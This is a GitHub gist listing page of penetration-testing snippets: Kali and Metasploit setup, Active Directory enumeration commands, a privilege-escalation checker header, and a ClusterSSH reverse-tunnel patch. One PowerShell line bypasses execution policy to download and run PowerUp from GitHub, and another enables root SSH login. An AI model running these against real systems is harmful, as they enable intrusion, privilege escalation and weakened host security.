Skip to content

Instantly share code, notes, and snippets.

##### Install metasploit ~ http://docs.kali.org/general-use/starting-metasploit-framework-in-kali
echo -e "\n ${GREEN}[+]${RESET} Installing ${GREEN}metasploit${RESET} ~ exploit framework"
apt-get -y -qq install metasploit-framework 2>/dev/null || echo -e ' '${RED}'[!] Issue with apt-get'${RESET} 1>&2
mkdir -p ~/.msf4/modules/{auxiliary,exploits,payloads,post}/
#--- ASCII art
export GOCOW=1 # Always a cow logo ;) Others: THISISHALLOWEEN (Halloween), APRILFOOLSPONIES (My Little Pony)
file=~/.bashrc; [ -e "${file}" ] && cp -n $file{,.bkup}
([[ -e "${file}" && "$(tail -c 1 ${file})" != "" ]]) && echo >> "${file}"
grep -q '^GOCOW' "${file}" 2>/dev/null || echo 'GOCOW=1' >> "${file}"
#--- Fix any port issues
@royharoush
royharoush / CanBeinaShellFile.sh
Last active June 30, 2016 06:04
one liner to grab the list of starred projects by a user
for page in 1 2 3 4 ; do curl "https://api.github.com/users/$1/$2?page=$page&per_page=99" | grep 'name\|"description\|clone_url' | sed s'\,\\' | sed "/\b\(labels_url\|full_name\)\b/d" |tr -d '"' | sed s'jname:j##############j' | sed s'kdescription:k###k'| sed s'sclone_url:sgit clones' | awk '$1=="##############"{x=$0;next} $1=="###"{print x, $0; next} 1' | sed 's/^ *//' ;done >$1-$2.txt
#for page in 1 2 3 4 ; do curl "https://api.github.com/users/royharoush/starred?page=$page&per_page=99" | grep 'name\|"description\|clone_url' | sed s'\,\\' | sed "/\b\(labels_url\|full_name\)\b/d" |tr -d '"' | sed s'jname:j##############j' | sed s'kdescription:k###k'| sed s'sclone_url:sgit clones' | awk '$1=="##############"{x=$0;next} $1=="###"{print x, $0; next} 1' | sed 's/^ *//' ;done >mystarred.txt
function urlMatchesOneOfPatterns(url, patterns) {
for (var i = 0; i < patterns.length; i++) {
var pattern = patterns[i];
if (url.match(pattern)) {
return true;
}
}
return false;
}
#!/bin/bash
apt-get install dkms linux-headers-$(uname -r) build-essential psmisc
git clone https://github.com/rasa/vmware-tools-patches.git
cd vmware-tools-patches/patches
rm -rf pvscsi/ vmblock/ vmci/ vmmemctl/ vmsync/ vmxnet/ vmxnet3/ vsock/
cd ..
cp /media/cdrom/VMware* ./
./untar-and-patch-and-compile.sh
powershell.exe -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks
@royharoush
royharoush / Kali2Prepare.sh
Last active July 12, 2019 12:28
Prepare Kali for SSH
#make ssh run on boot
update-rc.d -f ssh enable 2 3 4 5
#allow root to login through ssh
sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/g' /etc/ssh/sshd_config
service ssh restart
#fix sources list
printf 'deb http://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
#echo curl https://ipinfo.io/ip > /usr/bin/myip && chmod +x /usr/bin/myip
apt-get update
@royharoush
royharoush / gist:86816c6ed8945f2eb28586a156e86724
Last active June 22, 2016 12:16
useful windows commands in info gather inside the network
net view /domain:domain
dsquery ou domainroot -name name* -limit 4000
dsquery group domainroot -name name* -limit 4000
net group "domain computers" /domain
net group "domain computers" /domain
c:\Temp>dsget group CN=xxx,OU=Groups,OU=Libraries,DC=xxx,DC=xxx,DC=xxx -members -expand
@royharoush
royharoush / ssh-sshfs-pki-cheatsheat.txt
Last active July 28, 2016 10:19
SSHFS, SSH, and Private Keys
##create public and private keys
# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:/QXXXXXXXXXXXXXXXXXXXE root@somemachine
@royharoush
royharoush / linuxprivchecker.py
Created August 29, 2016 08:50 — forked from sh1n0b1/linuxprivchecker.py
linuxprivchecker.py -- a Linux Privilege Escalation Check Script
#!/usr/env python
###############################################################################################################
## [Title]: linuxprivchecker.py -- a Linux Privilege Escalation Check Script
## [Author]: Mike Czumak (T_v3rn1x) -- @SecuritySift
##-------------------------------------------------------------------------------------------------------------
## [Details]:
## This script is intended to be executed locally on a Linux box to enumerate basic system info and
## search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text
## passwords and applicable exploits.
@royharoush
royharoush / convertCSSHtunnel.sh
Created January 30, 2017 13:58
Modifying CSSH code to support reverse tunnel through ssh
git clone https://git.code.sf.net/p/clusterssh/code clusterssh-code
cd clusterssh-code/
grep -rle "-x -o" | xargs sed -i 's/-x -o/ -R 46001:127.0.0.1:46001 -x -o /g'
perl Build.PL
./Build
./Build test
./Build install
cd bin